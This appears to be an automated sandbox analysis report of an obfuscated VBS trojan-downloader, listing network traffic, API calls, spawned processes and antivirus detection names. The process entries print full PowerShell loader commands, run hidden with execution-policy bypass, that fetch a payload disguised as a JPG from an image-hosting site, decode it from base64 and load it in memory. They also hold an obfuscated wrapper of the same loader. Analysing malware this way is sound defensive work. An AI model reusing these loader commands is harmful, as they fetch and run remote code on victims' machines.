Data received ‘
Data received Aò~™«s‡ÏÆ4˜P¸yi@/Ê_Žmê&ÂÁƾr˜éÖ~†“ç«Âif‚´s7fYÑË@ÿ£ú×R+ì×F0D &øj²_L׿ö$¨õºãaø¾k?ºÔ w¢ð%Ýã¢~íJ\o°èVÿ»ké,²gM9}ÝÒ
Data received 
Data received 
Data received 
Data received 
Data received 0
Data received J"á÷Ÿ!žˆ„Õ¹Ò@¿Å¸ÄÒnA ÊoÙÖ|±e.=X,¢©áJ*®aªæ[]´
Data sent yuecJe7[Ñ閡:‹QÀ qñÏÚôWñrÄ?/5 ÀÀÀ À 284ÿuploaddeimagens.com.br  
Data sent FBA‘JøÏâø ;ט¿Á%ä#2+‘Å,ß (álk›ô®¼u‰ „S0sFÕDÀÇȹ)úsR+çʈš<ú0‘˜^¶7?éåù²c”f½-Ñ |ðØ\gõNQ„sr–֬볅¾,ô¸Âe°d
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F81F111D0E5AB58D396F7BF525577FD30FDC95AA\Blob
Time & API Arguments Status Return Repeated

send

 buffer: yuecJe7[Ñ閡:‹QÀ qñÏÚôWñrÄ?/5 ÀÀÀ À 284ÿuploaddeimagens.com.br  
socket: 1444
sent: 126
1 126 0

send

 buffer: FBA‘JøÏâø ;ט¿Á%ä#2+‘Å,ß (álk›ô®¼u‰ „S0sFÕDÀÇȹ)úsR+çʈš<ú0‘˜^¶7?éåù²c”f½-Ñ |ðØ\gõNQ„sr–֬볅¾,ô¸Âe°d
socket: 1444
sent: 134
1 134 0

WSASend

 buffer: GET /roots/dstrootcax3.p7c HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: apps.identrust.com
socket: 2020
0 0
parent_process powershell.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/616/609/original/rump_vbs.jpg?1695408937';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.ojkfa/25.84.011.97//:ptth' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"
parent_process wscript.exe martian_process powershell -command "$Codigo = 'J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶VQBy◀▶Gw◀▶I◀▶◀▶9◀▶C◀▶◀▶JwBo◀▶HQ◀▶d◀▶Bw◀▶HM◀▶Og◀▶v◀▶C8◀▶dQBw◀▶Gw◀▶bwBh◀▶GQ◀▶Z◀▶Bl◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBu◀▶HM◀▶LgBj◀▶G8◀▶bQ◀▶u◀▶GI◀▶cg◀▶v◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBz◀▶C8◀▶M◀▶◀▶w◀▶DQ◀▶Lw◀▶2◀▶DE◀▶Ng◀▶v◀▶DY◀▶M◀▶◀▶5◀▶C8◀▶bwBy◀▶Gk◀▶ZwBp◀▶G4◀▶YQBs◀▶C8◀▶cgB1◀▶G0◀▶c◀▶Bf◀▶HY◀▶YgBz◀▶C4◀▶agBw◀▶Gc◀▶Pw◀▶x◀▶DY◀▶OQ◀▶1◀▶DQ◀▶M◀▶◀▶4◀▶Dk◀▶Mw◀▶3◀▶Cc◀▶Ow◀▶k◀▶Hc◀▶ZQBi◀▶EM◀▶b◀▶Bp◀▶GU◀▶bgB0◀▶C◀▶◀▶PQ◀▶g◀▶E4◀▶ZQB3◀▶C0◀▶TwBi◀▶Go◀▶ZQBj◀▶HQ◀▶I◀▶BT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶E4◀▶ZQB0◀▶C4◀▶VwBl◀▶GI◀▶QwBs◀▶Gk◀▶ZQBu◀▶HQ◀▶Ow◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶I◀▶◀▶9◀▶C◀▶◀▶J◀▶B3◀▶GU◀▶YgBD◀▶Gw◀▶aQBl◀▶G4◀▶d◀▶◀▶u◀▶EQ◀▶bwB3◀▶G4◀▶b◀▶Bv◀▶GE◀▶Z◀▶BE◀▶GE◀▶d◀▶Bh◀▶Cg◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶VQBy◀▶Gw◀▶KQ◀▶7◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶FQ◀▶ZQB4◀▶HQ◀▶I◀▶◀▶9◀▶C◀▶◀▶WwBT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶FQ◀▶ZQB4◀▶HQ◀▶LgBF◀▶G4◀▶YwBv◀▶GQ◀▶aQBu◀▶Gc◀▶XQ◀▶6◀▶Do◀▶VQBU◀▶EY◀▶O◀▶◀▶u◀▶Ec◀▶ZQB0◀▶FM◀▶d◀▶By◀▶Gk◀▶bgBn◀▶Cg◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶QgB5◀▶HQ◀▶ZQBz◀▶Ck◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BG◀▶Gw◀▶YQBn◀▶C◀▶◀▶PQ◀▶g◀▶Cc◀▶P◀▶◀▶8◀▶EI◀▶QQBT◀▶EU◀▶Ng◀▶0◀▶F8◀▶UwBU◀▶EE◀▶UgBU◀▶D4◀▶Pg◀▶n◀▶Ds◀▶J◀▶Bl◀▶G4◀▶Z◀▶BG◀▶Gw◀▶YQBn◀▶C◀▶◀▶PQ◀▶g◀▶Cc◀▶P◀▶◀▶8◀▶EI◀▶QQBT◀▶EU◀▶Ng◀▶0◀▶F8◀▶RQBO◀▶EQ◀▶Pg◀▶+◀▶Cc◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶9◀▶C◀▶◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶V◀▶Bl◀▶Hg◀▶d◀▶◀▶u◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶BP◀▶GY◀▶K◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BG◀▶Gw◀▶YQBn◀▶Ck◀▶Ow◀▶k◀▶GU◀▶bgBk◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBU◀▶GU◀▶e◀▶B0◀▶C4◀▶SQBu◀▶GQ◀▶ZQB4◀▶E8◀▶Zg◀▶o◀▶CQ◀▶ZQBu◀▶GQ◀▶RgBs◀▶GE◀▶Zw◀▶p◀▶Ds◀▶J◀▶Bz◀▶HQ◀▶YQBy◀▶HQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶LQBn◀▶GU◀▶I◀▶◀▶w◀▶C◀▶◀▶LQBh◀▶G4◀▶Z◀▶◀▶g◀▶CQ◀▶ZQBu◀▶GQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶LQBn◀▶HQ◀▶I◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶r◀▶D0◀▶I◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BG◀▶Gw◀▶YQBn◀▶C4◀▶T◀▶Bl◀▶G4◀▶ZwB0◀▶Gg◀▶Ow◀▶k◀▶GI◀▶YQBz◀▶GU◀▶Ng◀▶0◀▶Ew◀▶ZQBu◀▶Gc◀▶d◀▶Bo◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶ZQBu◀▶GQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶LQ◀▶g◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶7◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶QwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBU◀▶GU◀▶e◀▶B0◀▶C4◀▶UwB1◀▶GI◀▶cwB0◀▶HI◀▶aQBu◀▶Gc◀▶K◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶L◀▶◀▶g◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶T◀▶Bl◀▶G4◀▶ZwB0◀▶Gg◀▶KQ◀▶7◀▶CQ◀▶YwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶BC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶I◀▶◀▶9◀▶C◀▶◀▶WwBT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶EM◀▶bwBu◀▶HY◀▶ZQBy◀▶HQ◀▶XQ◀▶6◀▶Do◀▶RgBy◀▶G8◀▶bQBC◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BT◀▶HQ◀▶cgBp◀▶G4◀▶Zw◀▶o◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶QwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶◀▶p◀▶Ds◀▶J◀▶Bs◀▶G8◀▶YQBk◀▶GU◀▶Z◀▶BB◀▶HM◀▶cwBl◀▶G0◀▶YgBs◀▶Hk◀▶I◀▶◀▶9◀▶C◀▶◀▶WwBT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶FI◀▶ZQBm◀▶Gw◀▶ZQBj◀▶HQ◀▶aQBv◀▶G4◀▶LgBB◀▶HM◀▶cwBl◀▶G0◀▶YgBs◀▶Hk◀▶XQ◀▶6◀▶Do◀▶T◀▶Bv◀▶GE◀▶Z◀▶◀▶o◀▶CQ◀▶YwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶BC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶KQ◀▶7◀▶CQ◀▶d◀▶B5◀▶H◀▶◀▶ZQ◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gw◀▶bwBh◀▶GQ◀▶ZQBk◀▶EE◀▶cwBz◀▶GU◀▶bQBi◀▶Gw◀▶eQ◀▶u◀▶Ec◀▶ZQB0◀▶FQ◀▶eQBw◀▶GU◀▶K◀▶◀▶n◀▶EY◀▶aQBi◀▶GU◀▶cg◀▶u◀▶Eg◀▶bwBt◀▶GU◀▶Jw◀▶p◀▶Ds◀▶J◀▶Bt◀▶GU◀▶d◀▶Bo◀▶G8◀▶Z◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶HQ◀▶eQBw◀▶GU◀▶LgBH◀▶GU◀▶d◀▶BN◀▶GU◀▶d◀▶Bo◀▶G8◀▶Z◀▶◀▶o◀▶Cc◀▶VgBB◀▶Ek◀▶Jw◀▶p◀▶C4◀▶SQBu◀▶HY◀▶bwBr◀▶GU◀▶K◀▶◀▶k◀▶G4◀▶dQBs◀▶Gw◀▶L◀▶◀▶g◀▶Fs◀▶bwBi◀▶Go◀▶ZQBj◀▶HQ◀▶WwBd◀▶F0◀▶I◀▶◀▶o◀▶Cc◀▶d◀▶B4◀▶HQ◀▶LgBv◀▶Go◀▶awBm◀▶GE◀▶Lw◀▶y◀▶DU◀▶Lg◀▶4◀▶DQ◀▶Lg◀▶w◀▶DE◀▶MQ◀▶u◀▶Dk◀▶Nw◀▶v◀▶C8◀▶OgBw◀▶HQ◀▶d◀▶Bo◀▶Cc◀▶I◀▶◀▶s◀▶C◀▶◀▶JwBk◀▶GY◀▶Z◀▶Bm◀▶GQ◀▶Jw◀▶g◀▶Cw◀▶I◀▶◀▶n◀▶GQ◀▶ZgBk◀▶GY◀▶Jw◀▶g◀▶Cw◀▶I◀▶◀▶n◀▶GQ◀▶ZgBk◀▶GY◀▶Jw◀▶g◀▶Cw◀▶I◀▶◀▶n◀▶GQ◀▶YQBk◀▶HM◀▶YQ◀▶n◀▶C◀▶◀▶L◀▶◀▶g◀▶Cc◀▶Z◀▶Bl◀▶Cc◀▶I◀▶◀▶s◀▶C◀▶◀▶JwBj◀▶HU◀▶Jw◀▶p◀▶Ck◀▶'";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('◀▶','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶VQBy◀▶Gw◀▶I◀▶◀▶9◀▶C◀▶◀▶JwBo◀▶HQ◀▶d◀▶Bw◀▶HM◀▶Og◀▶v◀▶C8◀▶dQBw◀▶Gw◀▶bwBh◀▶GQ◀▶Z◀▶Bl◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBu◀▶HM◀▶LgBj◀▶G8◀▶bQ◀▶u◀▶GI◀▶cg◀▶v◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBz◀▶C8◀▶M◀▶◀▶w◀▶DQ◀▶Lw◀▶2◀▶DE◀▶Ng◀▶v◀▶DY◀▶M◀▶◀▶5◀▶C8◀▶bwBy◀▶Gk◀▶ZwBp◀▶G4◀▶YQBs◀▶C8◀▶cgB1◀▶G0◀▶c◀▶Bf◀▶HY◀▶YgBz◀▶C4◀▶agBw◀▶Gc◀▶Pw◀▶x◀▶DY◀▶OQ◀▶1◀▶DQ◀▶M◀▶◀▶4◀▶Dk◀▶Mw◀▶3◀▶Cc◀▶Ow◀▶k◀▶Hc◀▶ZQBi◀▶EM◀▶b◀▶Bp◀▶GU◀▶bgB0◀▶C◀▶◀▶PQ◀▶g◀▶E4◀▶ZQB3◀▶C0◀▶TwBi◀▶Go◀▶ZQBj◀▶HQ◀▶I◀▶BT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶E4◀▶ZQB0◀▶C4◀▶VwBl◀▶GI◀▶QwBs◀▶Gk◀▶ZQBu◀▶HQ◀▶Ow◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶I◀▶◀▶9◀▶C◀▶◀▶J◀▶B3◀▶GU◀▶YgBD◀▶Gw◀▶aQBl◀▶G4◀▶d◀▶◀▶u◀▶EQ◀▶bwB3◀▶G4◀▶b◀▶Bv◀▶GE◀▶Z◀▶BE◀▶GE◀▶d◀▶Bh◀▶Cg◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶VQBy◀▶Gw◀▶KQ◀▶7◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶FQ◀▶ZQB4◀▶HQ◀▶I◀▶◀▶9◀▶C◀▶◀▶WwBT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶FQ◀▶ZQB4◀▶HQ◀▶LgBF◀▶G4◀▶YwBv◀▶GQ◀▶aQBu◀▶Gc◀▶XQ◀▶6◀▶Do◀▶VQBU◀▶EY◀▶O◀▶◀▶u◀▶Ec◀▶ZQB0◀▶FM◀▶d◀▶By◀▶Gk◀▶bgBn◀▶Cg◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶QgB5◀▶HQ◀▶ZQBz◀▶Ck◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BG◀▶Gw◀▶YQBn◀▶C◀▶◀▶PQ◀▶g◀▶Cc◀▶P◀▶◀▶8◀▶EI◀▶QQBT◀▶EU◀▶Ng◀▶0◀▶F8◀▶UwBU◀▶EE◀▶UgBU◀▶D4◀▶Pg◀▶n◀▶Ds◀▶J◀▶Bl◀▶G4◀▶Z◀▶BG◀▶Gw◀▶YQBn◀▶C◀▶◀▶PQ◀▶g◀▶Cc◀▶P◀▶◀▶8◀▶EI◀▶QQBT◀▶EU◀▶Ng◀▶0◀▶F8◀▶RQBO◀▶EQ◀▶Pg◀▶+◀▶Cc◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶9◀▶C◀▶◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶V◀▶Bl◀▶Hg◀▶d◀▶◀▶u◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶BP◀▶GY◀▶K◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BG◀▶Gw◀▶YQBn◀▶Ck◀▶Ow◀▶k◀▶GU◀▶bgBk◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBU◀▶GU◀▶e◀▶B0◀▶C4◀▶SQBu◀▶GQ◀▶ZQB4◀▶E8◀▶Zg◀▶o◀▶CQ◀▶ZQBu◀▶GQ◀▶RgBs◀▶GE◀▶Zw◀▶p◀▶Ds◀▶J◀▶Bz◀▶HQ◀▶YQBy◀▶HQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶LQBn◀▶GU◀▶I◀▶◀▶w◀▶C◀▶◀▶LQBh◀▶G4◀▶Z◀▶◀▶g◀▶CQ◀▶ZQBu◀▶GQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶LQBn◀▶HQ◀▶I◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶r◀▶D0◀▶I◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BG◀▶Gw◀▶YQBn◀▶C4◀▶T◀▶Bl◀▶G4◀▶ZwB0◀▶Gg◀▶Ow◀▶k◀▶GI◀▶YQBz◀▶GU◀▶Ng◀▶0◀▶Ew◀▶ZQBu◀▶Gc◀▶d◀▶Bo◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶ZQBu◀▶GQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶LQ◀▶g◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶7◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶QwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBU◀▶GU◀▶e◀▶B0◀▶C4◀▶UwB1◀▶GI◀▶cwB0◀▶HI◀▶aQBu◀▶Gc◀▶K◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶L◀▶◀▶g◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶T◀▶Bl◀▶G4◀▶ZwB0◀▶Gg◀▶KQ◀▶7◀▶CQ◀▶YwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶BC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶I◀▶◀▶9◀▶C◀▶◀▶WwBT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶EM◀▶bwBu◀▶HY◀▶ZQBy◀▶HQ◀▶XQ◀▶6◀▶Do◀▶RgBy◀▶G8◀▶bQBC◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BT◀▶HQ◀▶cgBp◀▶G4◀▶Zw◀▶o◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶QwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶◀▶p◀▶Ds◀▶J◀▶Bs◀▶G8◀▶YQBk◀▶GU◀▶Z◀▶BB◀▶HM◀▶cwBl◀▶G0◀▶YgBs◀▶Hk◀▶I◀▶◀▶9◀▶C◀▶◀▶WwBT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶FI◀▶ZQBm◀▶Gw◀▶ZQBj◀▶HQ◀▶aQBv◀▶G4◀▶LgBB◀▶HM◀▶cwBl◀▶G0◀▶YgBs◀▶Hk◀▶XQ◀▶6◀▶Do◀▶T◀▶Bv◀▶GE◀▶Z◀▶◀▶o◀▶CQ◀▶YwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶BC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶KQ◀▶7◀▶CQ◀▶d◀▶B5◀▶H◀▶◀▶ZQ◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gw◀▶bwBh◀▶GQ◀▶ZQBk◀▶EE◀▶cwBz◀▶GU◀▶bQBi◀▶Gw◀▶eQ◀▶u◀▶Ec◀▶ZQB0◀▶FQ◀▶eQBw◀▶GU◀▶K◀▶◀▶n◀▶EY◀▶aQBi◀▶GU◀▶cg◀▶u◀▶Eg◀▶bwBt◀▶GU◀▶Jw◀▶p◀▶Ds◀▶J◀▶Bt◀▶GU◀▶d◀▶Bo◀▶G8◀▶Z◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶HQ◀▶eQBw◀▶GU◀▶LgBH◀▶GU◀▶d◀▶BN◀▶GU◀▶d◀▶Bo◀▶G8◀▶Z◀▶◀▶o◀▶Cc◀▶VgBB◀▶Ek◀▶Jw◀▶p◀▶C4◀▶SQBu◀▶HY◀▶bwBr◀▶GU◀▶K◀▶◀▶k◀▶G4◀▶dQBs◀▶Gw◀▶L◀▶◀▶g◀▶Fs◀▶bwBi◀▶Go◀▶ZQBj◀▶HQ◀▶WwBd◀▶F0◀▶I◀▶◀▶o◀▶Cc◀▶d◀▶B4◀▶HQ◀▶LgBv◀▶Go◀▶awBm◀▶GE◀▶Lw◀▶y◀▶DU◀▶Lg◀▶4◀▶DQ◀▶Lg◀▶w◀▶DE◀▶MQ◀▶u◀▶Dk◀▶Nw◀▶v◀▶C8◀▶OgBw◀▶HQ◀▶d◀▶Bo◀▶Cc◀▶I◀▶◀▶s◀▶C◀▶◀▶JwBk◀▶GY◀▶Z◀▶Bm◀▶GQ◀▶Jw◀▶g◀▶Cw◀▶I◀▶◀▶n◀▶GQ◀▶ZgBk◀▶GY◀▶Jw◀▶g◀▶Cw◀▶I◀▶◀▶n◀▶GQ◀▶ZgBk◀▶GY◀▶Jw◀▶g◀▶Cw◀▶I◀▶◀▶n◀▶GQ◀▶YQBk◀▶HM◀▶YQ◀▶n◀▶C◀▶◀▶L◀▶◀▶g◀▶Cc◀▶Z◀▶Bl◀▶Cc◀▶I◀▶◀▶s◀▶C◀▶◀▶JwBj◀▶HU◀▶Jw◀▶p◀▶Ck◀▶'";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('◀▶','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
FireEye Trojan.GenericKD.69508913
ALYac Trojan.GenericKD.69508913
VIPRE Trojan.GenericKD.69508913
Arcabit Trojan.Generic.D4249F31
VirIT Trojan.VBS.Dropper.BJT
Symantec Trojan.Gen.MBT
ESET-NOD32 VBS/Kryptik.TZ
Avast VBS:Obfuscated-JW [Cryp]
Kaspersky HEUR:Trojan-Downloader.Script.Generic
BitDefender Trojan.GenericKD.69508913
MicroWorld-eScan Trojan.GenericKD.69508913
Tencent Script.Trojan-Downloader.Generic.Imnw
Emsisoft Trojan.GenericKD.69508913 (B)
DrWeb Trojan.DownLoader46.21997
MAX malware (ai score=82)
Antiy-AVL Trojan/VBS.Kryptik
Microsoft Trojan:VBS/Obfuse!MSR
GData Trojan.GenericKD.69508913
Google Detected
Rising Trojan.Kryptik/VBS!8.133D6 (TOPIS:E0:vurGdB2wDkO)
Ikarus Trojan.VBS.Crypt
AVG VBS:Obfuscated-JW [Cryp]
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe